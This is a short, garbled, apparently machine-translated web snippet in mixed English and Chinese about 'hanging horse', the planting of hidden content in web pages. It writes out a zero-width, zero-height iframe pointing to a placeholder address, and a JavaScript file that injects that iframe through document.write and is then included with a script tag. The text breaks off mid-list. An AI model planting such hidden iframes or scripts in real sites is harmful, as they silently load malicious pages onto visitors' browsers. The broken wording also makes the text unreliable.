Hung it to the way and the system determines whether the code-vulnerability warning-the black bar safety net

A:The frame hanging horse iframe src=address width=0 height=0/iframe II:the js file hanging horse First, the following code document. write"iframe width='0' height='0' src='address'/iframe"; 保存 为 xxx.js that The JS hung it to the code script language=javascript src=xxx. js/script Three:js...